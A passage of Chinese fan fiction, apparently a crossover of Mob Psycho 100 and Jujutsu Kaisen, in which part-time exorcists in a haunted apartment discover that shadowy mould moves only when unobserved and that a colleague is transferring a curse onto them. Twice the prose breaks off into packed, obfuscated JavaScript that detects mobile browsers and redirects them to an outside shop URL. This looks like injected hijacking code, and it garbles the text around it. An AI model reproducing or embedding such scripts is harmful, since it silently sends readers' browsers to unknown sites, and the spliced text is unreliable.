这么说着,他已经摸出手机,亮出了列着世界O化遗产的金刚O寺界面。 ——作为佛教圣地的高野山里,分明只有作为佛教真O宗总本山的国宝佛寺。 哪个不长眼的神道教敢把神社修在里面啊。 “……呐,织田O长的坟墓都在这里呢,好了,我们快点走吧,哥哥。”优等生一边催促着影山茂夫赶紧出发,他们要赶不上和朋友的约定了,一边以目光扫过场内的几个人开始了无差别攻击。 “不是很了解高野山吗?灵幻先生的朋·友。”律对利用哥哥(单方面认为)的灵幻展开了‘攻击’。 室内唯一的成年人,灵幻新隆移开了目光。 “哥哥,你好歹是超能力者,我还以为会知道日本三-大灵场的事情呢。” 茂夫倒是个对弟弟全肯定的性格:“律真了不起……就连这种事都知道啊。” 然后律的目光扫过作为古早怨灵的小酒窝。 刚才从墙壁上把自己扒拉下来的小酒窝吞了吞口水,但它等到的只有—— 优等生移开了目光:“……算了。” “喂、你这样比辱骂还要过分啊律!我感觉被瞧不起了——!” 生气的整个灵都燃了起来:“再这样我就不要让你们听见本大爷美妙的歌声了!”它放弃跟上两兄弟的脚步,看着影山两兄弟离开了灵幻咨询室。 “茂夫他们不会等你的,嘴硬的话可别哭了,小酒窝。”灵幻则是从被攻击的对比中得到了一丝优越感,他嘲笑到。 而小酒窝只是落后一步,从幽灵的鬼火身体里伸-出小手指着灵幻:“你是笨蛋吗,本大爷当然是故意留下来的。” “你想干嘛……?” “既然答应了别人要帮忙的话,灵幻,我劝你还是早点执行吧。”场内唯一一个‘灵’指着被灵幻抱着的那个壶,倒是非常老实地提出了劝告。 它已经看清楚了,那上面附着的确实是属于‘好’那边的灵力。 灵幻脸上露出了‘你该不会又在打什么坏主意’的表情:“我可不会因为这种危言耸听就把这玩意儿给你的噢,小酒窝。”这种诈骗手段对他可不起效。 “虽然不知道那个叫玛利亚的家伙是怎么搞到这个东西的……那是可是需要还愿的东西。”至少从它从上面被注入的力量来看确实如此。 ——它应该只是一个普通的壶而已。 只是被注入了某种好的力量,被不知道谁。 “哈……?”还愿?那是什么。 “真是的,别让怨灵做这种事情啊……”小酒窝像个喝完酒的大叔一样说着说着冒出了弹舌。 这看上去太荒唐了。 绿色的怨灵露出一对比简笔画还潦草的死鱼眼,它伸-出双手,先是比出了丢硬币的手势,然后用力地双手合十,拍在了一起。 给钱。 投入功德箱。 用力摇响铃铛。 然后双手合十许下愿望—— “你没去过神社参拜吗?灵幻。” 怨灵如此奉劝,一边说着还一边抱怨上了——收了钱(好处)就要办事这个规则,对不管是灵类、人、神明或者是其他什么都是行之有效的铁律。 “要是沾上拖欠的因果倒霉了可不要牵连上我和茂夫……” 冷汗爬上了灵幻新隆的背脊,他看向了怀里的宝贝转运壶。 ……真的假的。 * 而此刻。 第三天,凶宅内。 可供玛利亚使用的金钱:17万日元。 今天发生了很多事情。 白天因为太累了,大家整理了一下精神,稍微休息了一会儿。 ——因为眼镜拒绝回答任何问题。 他们三个人在白天那个眼镜表现出异常的时候就已经和对方闹掰(玛利亚被判给了这伙人),决定不要带着眼镜一齐行动了。 而在晚上,在一片死寂一般的安静里,努力清理完乱跑的那九个影子之后,还要看到守在休息的门外明显是追过来的黑影,简直就像是一个嘲讽。 光头、休闲服姐姐和神父盯着那个维持着按门铃姿势,凝固在墙面上的黑色人影,都忍不住紧张了起来。 今晚被分配到二楼这间房间的主人,神父露出了胃疼的表情:“绕了我吧……” 而已经忍了一整天的光头终于耗尽了所有的忍耐,他握紧了双拳,当起了临时的领头人。 “我去拿几瓶消毒水,今天绝对要把所有的管道都灌上这东西,我不信几升下去它们还能活泛,喂,你——”光头抬抬下巴,撇向了神父,“跟我一起去搬东西,那个破眼镜这会儿应该还在地下室守着吧?绝对要让他说出来是怎么回事——” 而白天就说了要退出的休闲服姐姐则是收拾着行李,往上提了提自己的背包:“你真的觉得他说的是实话吗?” 光头的身影一顿。 那个姐姐已经歪着脑袋,作为灰色兼职的经验者提出了自己的猜测——当然,这应该也是她执着于要退出的理由。 “我们的雇主真的没来吗?” “这里到底是怎么回事……本身就是眼镜嘴皮一-张-一-合告诉我们的吧,是真是假根本无法判断不是吗?” 雇主没来,根本就是那个眼镜自称的,他说自己会代为和雇主联络。 但现在想来—— 神父啊了一声:“该不会……那家伙就是我们的‘雇主’吧?”但这么说着,他自己的语气也不大确定。 休闲服点了点头:“如果这样思考的话,他的身份就会出现变化吧——从被雇佣到这里,和我们一起做着同样事情的被雇佣者,变成了需要让他人进入公寓,替他完成什么的可疑家伙……” 而这二者会接受的怀疑是完全不同的。 也不难想象眼镜为什么会以那种身份接近他们。 “也可能只是单纯的人手不足……你看,灯熄灭的话就会四处移动,但是可以擦除的黑影,一想的话,好像也没有骗、”神父还在垂死挣-扎。 那个姐姐一副老油条的样子懒洋洋哈哈笑了两声:“这可是‘灰色’噢?被骗不可怕,但要是危机临头的时候还是没感觉就真的完蛋了。” 于是他也沉默了下来。 仔细一想,确实是这样的—— 没有出面过的雇主,据说已经成功的第一次除灵,莫名其妙非常有经验的眼镜…… 他说的那些规则,到底哪些是真的,哪些是假的? “可是眼镜自己也执行——应该不全是假的吧。” 至少他也确实在努力清除着墙上的污渍,维持着夜间的灯光亮起……这么说来的话,灯光亮起会让这些家伙的活动迟缓这一点应该没有说谎。 但它们行动的具体关窍是什么呢? “那……该不会第一次除灵就失败了吧。” 而他们其实是为了弥补这个失败被找过来的倒霉蛋。 “有那个钱的话,应该找术师或者是有灵视之类能搞清楚状况的家伙吧。”光头反驳,然后他尴尬地咳嗽了两声,“而且,我确实没有感觉到很强烈的邪恶力量……”头衔一长串,但确实有点灵能力的僧侣(咒灵祓除数:1)语气有些尴尬。 “而且,如果除灵没有成功的话,翻修工人应该也会出问题才对吧。”反倒是一边看着的玛利亚分外冷静,被判给这伙人的邪恶金毛举起了手,“可是不管是室内的床还是浴室都很舒服……” 一定投入了很多心力吧……那些收了钱的装修工人们。 玛利亚在心里双手合十,纯粹而乐观的心里只有感激。 而这几天好好享受了崭新公寓的设施,玛利亚的脸简直就像是泡过水的剥壳鸡蛋一样duangduang反着光。 当然她话音刚落就被一拳砸中了头顶:“……你的重点是这边吗!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048862|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我们还在害怕呢,你不要给我发出那种重点错的奇怪感叹!跟个地狱笑话发生器一样也太过分了。 虽然从白天那不合时宜的事情之后,几个大人也对这个疑似未成年的金发打工仔起了一些疑虑。 但她说得确实不错。 所以三个人陷入了沉思。 玛利亚举起手指:“总之,就是眼镜大叔说的有真话也有假话这么理解就行了吧,剩下的见招拆招不就行了吗。” 她倒是一脸无所谓,玛利亚因为好奇也产生了很多思考和猜测,但完全不觉得有害怕的必要。 神父叹了口气:“事情不是这么简单……” 他们不知道这些黑色东西的目的。 失灵、或是被过度消耗的灯到底是怎么回事。 而且不知道这些东西的本质,就连驱邪也不知道该如何进行,几乎是一拳打在无解的棉花。 “……毕竟我只会祛除附身在人身上的恶魔那类的。”神父表情难看。 还以为能看到什么精彩的打戏,玛利亚有些失望:“诶……” “正常的、大部分灵能力者会一个绝活术法就已经很了不起了!不然你以为那些能够处理各种案件的咒术师和超能力者为什么难找,雇佣费还是我们的百倍啊。” 还有。 神父看向几人—— 如果眼镜在说谎的话。 擦除这些影子的、维持着开灯的样子、各自住一间房间、保持着开门……这些事情里面到底哪些是应该做的,哪些是不应该违背的,但被眼镜设计着执行的内容……根本已经分不清楚了。 “玛利亚都不害怕吗……?” 她只能老实摇摇头,虽然因为缺乏负面情绪,而无法对他人的焦虑产生共情,进而无法正常生产出‘同情心’——玛利亚也多少用脑袋想明白了这个时候该说什么。 “抱歉,因为,呃、失忆的并发症……从那之后就不太能感觉到负面的感情了,”玛利亚指了指自己的脑袋,有些笨拙地模仿着灵幻当时的说辞,“更详细的我可以解释。”灵幻当时是怎么给她说的来着……? 额叶、垂体还是海什么来着……?海水? 差一步就要说出脑袋里的海水,休闲服姐姐却已经摸了摸玛利亚结构与海螺相差不大的脑袋——都有孔且能听到海声。 “这样啊,那之后再说吧。” 三个大人当然没有追究她的意思,这么逼问更多的只是在发泄情绪上的问题而已。 所以光头失去了耐心:“好了,之后再解释。”他拍了拍手,“现在我们能抓到的就只有眼镜那个混-蛋,就从他和现在外面这个入手吧——”他叫上了神父和休闲服姐姐,又叫住了玛利亚。 “小鬼,反正你也不会害怕——你在这里守着这玩意儿。”他指向墙壁上的人形黑色霉斑,“等我们把工具拿回来。” 然后他指向休闲服:“你去地下室,把清洁用品拿上来,跟这个小鬼至少把这个东西一起解决。” 而他和神父。 “那家伙身体里要是有什么奇怪的东西你能弄出来吧?” “……你一时间这么说的话,我也没感觉到他身体里有……” “用圣经揍人的话,能够做到吗?” “那倒是没问题。”他手里的那本是硬壳皮封的典藏版。 * 凶宅外。 山崎辅助监督在经历了三天的昏迷之后终于清醒了过来—— 而收到这一消息的时候,夏油杰正坐在咒灵背上……毕竟一级术师工作还是和忙碌的。 此刻他正在京都,正等着那边……在老家家仆簇拥下的五条悟大少爷,从他那个一看就超级豪华,床搞不好都有五百平米的家门里坐车出来—— “总感觉你在想些奇怪的东西,杰。”顶着一头白发的五条悟好不容易摆脱了过来送行的五条家家仆,光是看到挚友那副笑眯眯的狐狸相,额头上就已经冒起了微妙的青筋。 “呀,和家里人告别完了?悟,稍微尊敬一下老人也没有什么不好吧。”而盘腿坐着的长发男高脾气倒是很好,伸手唷了一声。 那个正处于叛逆期的我超强大龄儿童已经面露嫌弃地咧开了嘴巴:“谁要啊……为了莫名其妙的古董丢失就非得把我找回来,明明随便找人去一趟就能解决、”他大大咧咧地抱怨,还没征求挚友的意见,已经跟个熊孩子一样踩在空气上,踢了夏油杰悬在虹龙外面的腿一脚,“喂,我也要骑宝O梦。” “好歹也说个请吧。” “请出来吧——宝O梦!”五条悟笑嘻嘻地玩梗,“我要骑虹龙。”他脸上就写着‘让给我’。 “不行,闪光不能给你。” 夏油杰忍不住也扯着嘴巴笑,他看了一眼通知来信,将手机收进口袋,又叫出了一只咒灵魔鬼鱼,看着一米九的白发男高好奇瞟了自己手机一眼,然后切一声坐了上去。 然后两个最强熊孩子男高就往委托的祓除工作的地点进发了。 * 工作的人当然不止有他们。 说干就干。 玛利亚目送着那边三个大人离开,自己倒是老实盯着墙上的黑影发起了呆。 然后她思考了一阵,又左右张望了一下——虽然一直被人干扰,但好奇心终于还是把她逼到了尽头。 她终于靠近了那团黑影…… 玛利亚一个人站在空荡荡的走廊里,有些好奇地赤手摸了上去。 灯光闪烁了片刻。 然后完全黑了下来。 不可见的漆黑里只有玛利亚的声音传来。 “……那个时候,从窗户里和我打招呼的是你们吗?” 9. 凶宅获取4 凶宅外的某地。 夏油杰和五条悟迎着夜风前进,这次的工作是京都附近的废旧学校,辅助监督早等在那里了——已经明显迟到的两人加快了速度。 “不过虽然讨厌麻烦……但是悟你答应了吧?” “啊。”白发男高答得不情不愿,“下次绝对不听那些老头说话了,干脆等我当了家主以后就把他们全揍一顿……”五条悟嘀嘀咕咕地抱怨。 而夏油杰则是任由夜风吹着刘海:“明明就是因为他们很关心你吧,这可是难得的好事噢,上次我和硝子来玩还抓着我们说‘少爷好久没有这么笑过了’呢……” 他语气带上了细微的取笑。 五条悟第一时间已经撇着嘴巴啊啊叫了两声:“啊啊、那些人……都说了不要做这种多余的事情!”不过他转念又露出了毕竟是我,也很正常的得意表情。 “我这是在攻击你,悟。”留着一缕碎发刘海,夏油杰露出了等号一样的潦草符号表情。 而无下限持有者,物理和心灵上的立体防御者在夜风里扭头看向了挚友:“哈——?” 他完全没能明白那种被动性攻击里的捉弄和嘲笑,又或者是本身就不在乎。 五条悟完全一副自己理所当然位于世界中-央的表情。 “……更加不爽了。”这么说着,夏油杰已经猛地一下将手指下按,命令五条悟骑着的咒灵直接开始向下俯冲。 赶路变成了毫无营养的男高玩笑。 他们直到和任务的担当辅助监督碰头才勉强消停。 然后那个因为强得过分而有些粗心的白发男高着地才看向了夏油:“噢,不过杰你之前在看手机是怎么了?谁的联络吗?” “啊,那个。”提到这个,夏油杰面上只是露出笑容,“是要搜查的事情啦。” 白发男高十足亢奋:“宝O梦收集?” “是工作的事情。” “切。”五条悟肉眼可见地失去了兴趣。 而夏油杰已经露出了笑容:“差不多吧——是拜托‘窗’监视的事情,他们也有雇佣很多编外人员,情报应该很快就会传回来吧。” 两人的声音消失在了帐后。 * 凶宅内。 可供玛利亚支配的金钱:17万。 耳畔先是传来了细微的关灯声,然后坠入了黑暗。 玛利亚诶了一声——眼睛还没有习惯。 所以她问出了自己一直好奇的问题:“……那个时候,和我打招呼的是你们吗?” 没有任何回答。 倒算不上完全没料到。 有些失望,所以玛利亚诶了一声就打算张嘴赶紧叫来去楼下取清洁用品的休闲服姐姐。 她扭开头、但在行动之前,行动突然迟缓了下来。 玛利亚发现了不对劲,没有恐惧感带来的只有本能般的轻视,但这并不代表她不会思考。 这里是不是……稍微有些太黑了? 之前也说过,这栋大楼的结构是传统的日式公寓,也就是说,开放、阳台式的直线走廊连接着每层楼。 而它是阳台式的,也就是说,哪怕这里的灯熄灭了。 只是及腰高的围栏并非全封闭,围栏外面不远处就是附近的街市和夜空。 而这是二楼,楼上楼下的灯都是完好的。 所以按理来说,哪怕这里的顶灯熄灭,对街、周围房间、上下楼层的灯光,夜晚的星光都应该会提供最基础的照明才对。 ……但现在,玛利亚的眼前就像是高野山上的夜晚一样。 眼前是完全的漆黑。 她低头,却完全看不到自己举起来的手,隐约能看到自己的身体的一部分,但心口往下的部分简直像是被墨水染黑了一样,直接消失在了黑暗里。 而与此同时,那在第一天晚上听到过的嘈杂声已经又响了起来。 淅淅索索。 伴随着玛利亚自己的呼吸声,像是有无数个非常细小的多足生物爬上了神经——事实上,打从第一天,她进入这个公寓的时候开始。 这种声音就总是在公寓的白噪音里响动。 伴随着焦躁、困顿,像是被压缩到极点的某种哀嚎声一样。 缺乏恐惧,她只是好奇地眨着眼。 某种撕拉声从正前方传来。 玛利亚思考了一下自己面对的方向——是墙壁那边传来的。 然后空气变得稀薄了起来,她隐约感觉到,继绝对的黑暗之后,走廊上的夜风也停了下来——淅淅索索的声音变得响亮了起来。 黑暗中有什么东西靠近了。 越来越近。 乱糟糟的头发传来被什么非常细小的东西压住的触感。 理智知道自己应该后退一步,因为实在不知道那个东西继续靠近会发生什么,但玛利亚又有些好奇,这让她往前去摸开关的动作有些迟缓。 就这么两秒的迟疑。 登山服外套布料因为被触碰,而传来了唰唰的摩-擦声。 更近了。 有什么东西想往她的眼睛里钻……口袋里却突然一烫! 没来得及伸手去摸口袋里是怎么回事。 “——玛利亚!”玛利亚就被黑暗外休闲服姐姐的紧张声音吓了一跳,她一个生理性震颤,眨了眨眼。 而一个飞快地脚步声只在外面左右踱步犹豫了片刻,已经突入了黑暗中,接下来是啪嗒的一声开灯声,走廊灯一下子被重新点亮了。 确实是休闲服姐姐。 玛利亚看见了她摔在一边地板上的清洁用品。 但很快视野就变成了休闲服姐姐的脸——对方一把抓住了玛利亚的胳膊。 金发笨蛋的重点仍在别处:“不应该是先叫我的名字,然后由我来开灯吗?” “——这种时候怎么可能还顾得上这种事啊你这个笨蛋!而且那家伙到底说了多少实话谁也不知道……” 就连一贯好脾气,秉持着在生活面前投向,不行就跑主义的休闲服姐姐都急了起来。 “没问题吧?” “嗯。”玛利亚揉了揉眼睛,只感觉眼睛有些发干。 而休闲服姐姐抓紧了玛利亚的胳膊:“就算你没有恐惧心灯熄灭的瞬间就应该马上喊人过来才对,这才两层楼,怎么样也能稍微听见……” 倒是玛利亚心情很好地点了点头:“因为很好奇,而且感觉也没事……而且我有想问和确认的事情。” “感觉?” “……感觉应该没事。” 她比手画脚地终于说起了第一天看到的事情,那些在地板下的奇怪淅索声,还有在外面隐约看见的招手,甚至还有那些东西试图往她五官里钻的事情。 而休闲服姐姐只是皱着眉听着玛利亚的叙述—— 也不知道是对她这种毫无紧张感的态度不满、或是认真在思考她说的事情。 看来是后者。 因为休闲服给出了回答—— “玛利亚……这样说来的话你应该是具有灵感的体质。”对方表情严肃,给了玛利亚一颗甜枣的时候也直接给了她一颗暴栗,“但是,这种事应该先和同事讨论,比起自己在这里搞实验——听好了!玛利亚。” 不要产生可以和‘异常’交流的错觉。 “也许它们确实是按照某种模式和规律来行动的,但异常的本质就是不可理解。”因为一旦产生了可以理解的模式和交流的话,那就只是‘生物’而已,“玛利亚没有恐惧心,所以更需要清醒的脑袋。” 人类的恐惧是一种求生本能,它在限制人不去超越极限的时候,也会强迫人类遵从一种生存率最高的模式行动。 过分胆小固然是一种人性上的障碍。 但这个阀门完全关闭绝对不能算是什么好事。 这位已经有着丰富‘灰色’经验的姐姐——夏目麻里。 认真嘱咐道。 “我看过很多人在这行来来往往,玛利亚,但是做灰色兼职的第一要务是什么,你知道吗?”麻里姐叹了口气。 做好面对意外的准备。 情报收集必不可少。 尽可能找到帮手,确认好同伴。 但最重要的是保持警惕,需要当机立断。 “不管是对工作还是自己、特别是异常……不要心存幻想。”这话到底是麻里姐对自己说的,还是玛利亚说的呢? 完全没有被训的自觉,玛利亚想回嘴来着。 但她看着麻里姐面上复杂的表情,却觉得自己什么都不要说比较好。 这倒不是求生欲。 只是觉得……这个前辈表情好像有些悲伤。 所以玛利亚是等到那种微妙的表情从麻里姐的脸上消失之后才开的口。 “那个——我好像知道是怎么回事了。”这么说着,玛利亚指向了走廊的那面墙壁。 “好像不是黑暗的问题。” 只见之前还印着一个人形的位置此刻已经什么都没剩下,取而代之的,是玛利亚正前方的脚底下,已经像是犯罪现场一样,出现了一个‘躺倒’在地板上的黑色人形。 “……什么意思?” “它们应该是想移动到我的身上吧。”玛利亚毫无紧张感地猜测,“之前灯熄灭的时候好像有听到这个东西移动的声音。” 不仅如此。 眼前一片漆黑,连本来能看到的、听到的都感知都没法感觉到了。 “那种事情我也能猜到。”不对,重点不是那个,“……我在认真的害怕,玛利亚你可以稍微正经一点吗?”麻里姐有些脱力。 “总之重点不是那个啦。” “不是才怪!” “……它好像超级害羞的。” “嗯?”麻里姐没搞懂玛利亚的意思。 玛利亚只是抓了抓自己的头发,一点也没有‘我会猜错所以你先听着’这种程度的不安感。 “因为它好像不想让人看到自己移动的瞬间嘛。”玛利亚歪着脑袋,像是踩砖块一样轻快地跳起,用力踩上那块印在地板上的霉斑人形地垫,“就像是这样。” “会蹭到鞋子上的。” “啊、忘了。” 这么说着。 玛利亚用鞋子蹭了蹭地板,然后移动到了距离霉斑地垫一米远的地方,示意麻里姐离远点,站到隔壁的灯光下,一手摸上了灯的开关。 “你给我等——” 然后玛利亚在麻里姐惊恐的表情里啪嗒一下关上了灯。 在旁观者的角度,麻里姐借着自己这里的光线,只能看见站在黑影里,玛利亚影影绰绰的影子。 而玛利亚这头,能听到的只有麻里姐的“你在做什么!?快点开灯!”的惊叫声,淅淅索索的声音消失了。 然后玛利亚又啪嗒一下秒速开灯。 黑影一动不动。 “麻里姐,你可以闭上眼睛吗?”玛利亚开口。 “喂!……明白了。” 于是那淅淅索索的声音响了起来。 于是玛利亚啪嗒开灯,然后又关灯。 淅淅索索的声音越来越近。 开灯。 “这次睁开眼睛。” 然后是开灯、关灯、开灯关开关开关开关—— 把走廊灯玩得跟迪斯科灯球一样的家伙直接被麻里姐一拳砸上了脑袋开始了正义制裁。 “够了!”麻里姐脸都要涨红了,“……啊。” 这次,那些东西几乎只移动了非常微小的距离。 她慌张的声音很快变成了一种疑惑。 “灯光只是一种表象而已……总之是类似的那种感觉吧。”解释不清楚,所以玛利亚直接任由对方意会了,“但是因为之前麻里姐也在旁边,能‘看到’,所以不能动了。” 而麻里一旦闭上眼睛。 影子又会动起来。 似乎是在它们无法被注视的时候,那些东西才会移动,黑暗只是‘让人无法注视’的一种手段而已。 ……所以才需要两个人同时在。 “可是之前开灯的时候也没动、还有白天的时候没人看着它也几乎没在移动……” “我想监控也是某种意义上的一种‘注视’?” 但在明白这件事的同时,麻里姐也明白了另外一件事。 穿着休闲服的姐姐把手用力按在了玛利亚的头顶上:“……你以为自己在玩一二三木头人吗。” “……稍微?”被按住脑袋的家伙非常老实,这可能是出于她毫无危机感的关系。 “给我适可而止。” * 但总而言之。 “我想就是因为这样,白天那个时候,我们看的监控录像才会那样出现了屏闪……在镜头适应夜视之后,黑色的霉斑就不再移动了。” 移动的瞬间应该是出于什么原因,不可以被目击,无论如何都‘看不到’。 “不,可能与之相反。”麻里姐思考了片刻,举起一根手指,“应该是被看到就无法移动,观测者效应?算了,‘灰色’的事情本来就讲不清楚。” 所以重点很可能并不是灯光熄灭。 而是灯光熄灭,周围变黑的时候——眼睛和器械都还没能习惯黑暗的短暂瞬间。 所以这些家伙白天就算不盯着、不维持着开灯状态也无所谓,因为无法造成强烈的视觉反差让机器和人眼失灵。 “而之前我待了一会儿,明明眼睛应该已经习惯了黑暗了但是还是看不到……”玛利亚歪着脑袋思考。 恐怕…… 毫无紧张感的笨蛋伸手,在自己的周边比划着一个球形的罩子形状。 当时的她应该是被移动中的霉斑,这么给包围住了吧。 被‘蒙上’了眼睛。 虽然不知道这些东西到底是怎么移动的:“大概是这种感觉吧……搞不好是这种集体出动的包围模式、” “不、那种事情我不想知道。”麻里姐拒绝理解地伸-出了拒绝之手,“不如说,就算知·道·了它是怎么让你听不到、看不到的——对目前这个状况应该也没有什么帮助吧。”她长长叹了口气。 反倒是玛利亚拖长声音诶了一声:“所·以·说——”她举起一根手指,“虽然也能固定住,但两人一组开灯的意义就在于要给这个东西移动、将猎物包围的‘时间’吧。”虽然它肯定还有什么别的意义。 麻里姐看向了她。 玛利亚语气懒洋洋地:“因为在需要维持着开灯这一前提下,那么在熄灯之后,一般人……” “会马上就打开灯。”麻里姐补上了玛利亚没说完的话。 玛利亚哼着调子:“那样就会马上被看见吧……移动的窗口期很短啊。”她一副‘我很聪明’的表情推了推不存在的眼镜,正想说话。 但是如果‘必须要两人一组才能开灯的话’。 待在黑暗里的人会需要‘等待’。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048863|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那就有足够时间了。 而且走廊这种会受到其它光源照射的情况毕竟是少数,要是灯光关闭的位置是一间单独的房间呢? 麻里姐已经反应过来了最关键的部分。 “所以说,那个眼镜的意图……就是方便这些东西对我们出手吧,这东西会出现在这里估计也有他的‘协助’。” 比起玛利亚跟着好奇心,漫无目的地思考与实验不同,麻里姐更关心眼下的困境。 “他肯定说了一部分实话。”例如灯光、二人一组、和白天的‘安全性’之类的情报,“不然我们不会信赖他。” 而半真半假的谎言最难以让人判断—— 但其中的谎言是哪些内容呢? * 这样说起来的话。 比起分辨真假。 更简单的方法应该就是根据事情的走向,逆向判断——这几天眼镜的行动,到底想将他们【引导着】去往什么方向。 “但是除了把我们吓跑之外也得不到什么吧。”玛利亚只是随着本能行动,黏黏糊糊地嘀咕。 而夏目麻里却有别的看法。 逆向思考一下。 “擦除污渍是圈套吗?首先,暴露真名应该是一部分条件吧……” 他带着打工仔们清理污渍,这代表他需要他们这么做,为什么? 光线的作用,这应该是一部分真实,用于取信于人。 告诉他们二人一组有利有弊,但主要是给‘捕食’(麻里和玛利亚的猜测)留下时间。 那必须敞着门、不能离开公寓又是什么意图? 麻里姐嘴里开始嘀嘀咕咕,她一手抱着胳膊,一边像是个召集同伴的蜜蜂一样原地左右踱步转圈。 “可是为什么要这样做?他也是人类吧,这种事情对他来说有什么好处吗?不明白……” 凶手是大概猜出来了,毕竟对方甚至没有掩饰。 但动机呢? ——而且如果要陷害他们这些打工仔,最好的方法难道不是告诉他们工作内容之后,自己离开吗? 而且让自己暴露又是什么目的? 现在光头和神父明显是去找他了,虽然这次的同事看上去不算是什么危险分子,但是在召集的人全来之前,眼镜也不能确认来的人会不会是善茬吧? 要是有心狠手辣的应征者。 他会被杀掉也说不定。 那么。 ‘待在这里’、‘和打工仔们待在一起’,对于眼镜来说……应该就是一个必要的步骤才对。 并且他也有信心不会被杀掉。 而玛利亚饶有兴致地看着麻里姐在走廊里来回走着8字。 直到听清楚了她的嘀咕,玛利亚才恍然大悟地啊了一声:“……可能是因为这些东西对人造成伤害需要一些‘前提’吧?” 麻里姐脸上浮上惊讶。 玛利亚晃荡着一条腿,鞋底蹭着带有霉菌的地板:“因为这些家伙明明都碰到我了,但是我身上现在什么感觉都没有……”虽然对健康检查之类的事情不太了解,但玛利亚的感知很敏锐。 以灵的角度……没有很不舒服的感觉。 或者说。 虽然没什么依据,但她没有被威胁到的感觉。 她应该这么说吗? “它碰到你了——?!”麻里姐的音调提高了整个8度,“这种事情应该一开始就说才对!” 她紧张地抓住玛利亚的胳膊,开始确认起了她的状态。 而玛利亚却毫无紧张感,只是任由麻里在自己身上翻来翻去:“所以我在想,是不是这个‘东西’,总而言之,它要对人造成实际的伤害其实是需要什么前提……” “啊……是吸血鬼吗。”麻里姐已经反应了过来。 “嗯?”那是什么? 这里有吸血鬼? * 当然没有吸血鬼。 “‘条件’,是这么回事啊,他是想引导我们……” 玛利亚没懂:“嗯……?” “是吸血鬼的传说,虽然我感觉应该可信度为零……这里提到它只是因为逻辑是一样而已。”夏目麻里皱着眉头举起了食指。 据说,吸血鬼是不能进入人类的住宅的,它们需要在门口先行询问房屋的主人。 ‘我可以进去吗?’ 在得到了人类的欢迎之后,才可以进入。 玛利亚诶了一声,非常老实地给出了自己的看法:“我想……没有人会同意的吧。” “明明玛利亚就会。”还没忘记之前的事情,麻里姐投来了无奈的神情,“总之,吸血鬼会伪装成无害的样子,将自己包装得像是客人一样,是通过蒙骗进去的啦。” “……就算好奇我也不会真的就完全乱来的。” “明明就乱来了。”十分钟以前。 总之。 麻里姐皱起了眉头:“玛利亚之前说它碰到了你,但是这可能也就是‘吸血鬼站在家门口’,这种程度的事态而已。” 它已经站在了玛利亚的门口。 却无法进来—— 重点是。 在眼镜引导他们做的事情里——到底哪个是在对吸血鬼说‘欢迎光临’呢? * 而光头和神父看着被揍倒在地,已经投降的眼镜。 想起之前从眼镜那里打·听到的事态。 “‘转移诅咒’……真亏你这个家伙能做出来这种事情啊。”光头男额头暴起青筋,“我们要离开了,你等死吧。” 按照眼镜的说辞。 擦除无用。 这些霉菌只是诅咒的表象,是孢子,擦掉也会重来的。 而只要让他们通过擦除的手段接触诅咒的媒介——这个霉菌,然后暴露真名,再加以长时间(至少七天)的相处。 诅咒会就转移到最后一个被诅咒的人身上。 它将从最后一个被诅咒的人开始追杀——只要不停制造新的被诅咒者,这个诅咒就永远追不上之前被诅咒的人。 如果玛利亚在场的话,可能会把它评价为贞子lite版。 而光头显然对这种事情没兴趣,他掂量了两下从眼镜身上抢来的整栋楼的钥匙。 “这个诅咒就你一个人受着吧。”光头哼哼笑了两声,既然已经知道真相的话,那对这个已经注定死亡的家伙就没有必要采取更多行动了。 而眼镜则是语气慌张,他开始祈求:“……只要你们也找下一个人不就行了吗?没说明是我的不对,我本来想第七天再告诉你们……拜托,之前和我一起工作的人都死了,只要我们不停拉更多的人、” “抱歉啦,我们对那种事情没有兴趣。”神父叹了口气,打住了眼镜的话。 对于这种自食恶果的人,他也没有任何同情。 两人找到了大门钥匙,把它拆了下来。 而神父一边离开地下室,一边和光头商量:“我们赶紧把玛利亚酱和麻里也叫上,离开这里吧。” * 随着一行人的行动,楼里的灯光开始了闪烁。 简直像是想要阻止他们离开一样…… 又或者是与之相反? * 而此刻,虽然本人没有意识到—— 玛利亚可利用的资金已经损失了4万日元。 余额仅剩13万円,并很快会变成1万円。 ——而她将用这1万円租下一间凶宅。 10. 凶宅获取5 “准备好了吗?”旁边的麻里姐催促了起来。 玛利亚摇了摇头:“我没有什么东西。”毕竟她本来就什么也没有。 成年人点了点头,重新低头嘀嘀咕咕,一边收拾起了行李箱:“……还好已经按照天数收费,不然我绝对会吐血的。” 麻里的语气带着庆幸。 玛利亚的动作却非常迟疑。 直觉已经拼凑出了真相,她甚至早已经顺着本能,将真相说出了口。 玛利亚当时只是还没明白。 ‘……达摩先生摔倒了。’ * 第三天晚上,随着那边光头和神父的返回,事情逐渐变得‘明朗’起来——实际上,玛利亚和麻里先注意到的是……楼里的灯光开始了闪烁。 突然的剧烈亮度变化让所有人的眼睛和器械都产生了不适应的情况,玛利亚下意识虚起眼睛,还没搞明白楼里这是发生了什么变故。 那边两个男人已经伴随着叮咣作响和急促的脚步声回到了二楼。 借着飞快闪烁的灯光,刚从地下室回来的神父皱起了眉头,他在门口停留了片刻:“……我还以为你们已经清理掉了‘那个’。”他目光投向地板上的污渍,但明显没有深究这个话题的意图,只是很快转换了话题,“算了、我们赶紧离开吧。”说着就钻进了自己的房间。 